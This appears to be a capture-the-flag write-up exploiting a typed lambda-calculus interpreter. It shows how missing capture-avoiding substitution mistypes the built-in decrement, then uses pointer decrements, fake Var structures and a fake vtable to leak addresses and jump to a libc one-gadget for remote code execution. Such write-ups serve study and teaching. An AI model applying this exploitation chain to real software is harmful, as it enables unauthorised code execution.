When beta reducing, "capture avoiding substitution" is not taken place.
For example, the term (\x. \y. x y) y should be reduced to \z. y z by renaming y to z in (\x. \y. x y), but in the interpreter, this term is reduced to \y. y y, which is ill typed lambda term.
By exploiting this, the input
f1 = (\f:I->I. \g:A->A. g)
f2 = (\x:(I->I)->(A->A)->A->A. \f1:A->A. x dec) f1 (\d:A. d)
leads to the output
> f1 = (\f:(I->I).(\g:(A->A).g)) :: ((I->I)->((A->A)->(A->A)))
> f2 = dec :: ((A->A)->(A->A))
and as a result, the built in function dec : I -> I is ill typed as dec : (A->A)->(A->A).
Roughly, each structure is instantiated as follows:
struct Var : Lambda{
void* vtable = vtable_Var;
string var;
}
struct Int : Lambda{
void* vtable = vtable_Int;
int var;
}
struct Abs : Lambda{
void* vtable = vtable_Abs;
Lambda* body;
string var;
Type* ty;
}
struct App : Lambda{
void* vtable = vtable_App;
Lambda *expr1,*expr2;
}
struct Decrement : Lambda{
void* vtable = vtable_Decrement;
}
The Decrement term decrements Int::var part of the applyed term without checking its type.
For example, f2 (\x:A.x) changes the value of the Abs::body pointer of (\x:A.x), and leads to crash.
Let's consider a lambda term (\x:A->A. (\y:A. y)).
The Var term y is alllocated before the Abs term (\y:A. y), therefore
(\x:A->A. (\y:A->A. y)) can be modified to a lambda term (\x:A->A. y) by decrementing the Abs::body pointer repeatedly. Then, by reducing a term (\x:A->A. y) (\z:A. z), we can get an unbound variable term Var y.
The instance of the C++ string type is roughly illustrated as follows:
struct string{
char* ptr;
int len;
char buf[16];
}
Therefore, we can leak the address of the vtable_Var or the heap by repeatedly decrementing Var::var->ptr of the Var y to indicate these addresses.
In order to leak a value at arbitraly addresses, preare a dummy Var structure such that:
dummyvar := {
vtable_Var,
target_ptr,
8,
}
Then input (\dummyvar:A. dummyvar) and decrement its body pointer to (\dummyvar:A. fake_Var_structure_represented_by_dummyvar), so that it shows the value at the target_ptr address.
(The input is tokenized by spliting characters in " \t\\=:.()->$", so if the dummyvar contains these characters, you need to retry exploiting. The retly happens appproximately once every twice.)
Let one_gadget_rce_address be an One-gadget RCE address in the libc-2.27.so (in my solver, it is libc_base + 0x4f329).
Then prepare a dummy vtable and a dummy structure such that:
dummy_vtable := {
one_gadget_rce_address,
};
dummyvar := {
&dummy_vtable,
};
With doing the same procedure in step 3, we can set the rip to one_gadget_rce_address.
However, the gadget at libc_base + 0x4f329 requires [rsp+0x40]==0 when executed.
To meet the condition, I chained the dummy structure as follows, so that the stack address decreases a lot before the execution jumps to one_gadget_rce_address.
dummy_vtable := {
one_gadget_rce_address,
};
dummyvar1 := {
&dummy_vtable,
}
dummyvar2 := {
vtable_Abs,
&dummyvar1
}
....
dummyvarN := {
vtable_Abs,
&dummyvarN-1
}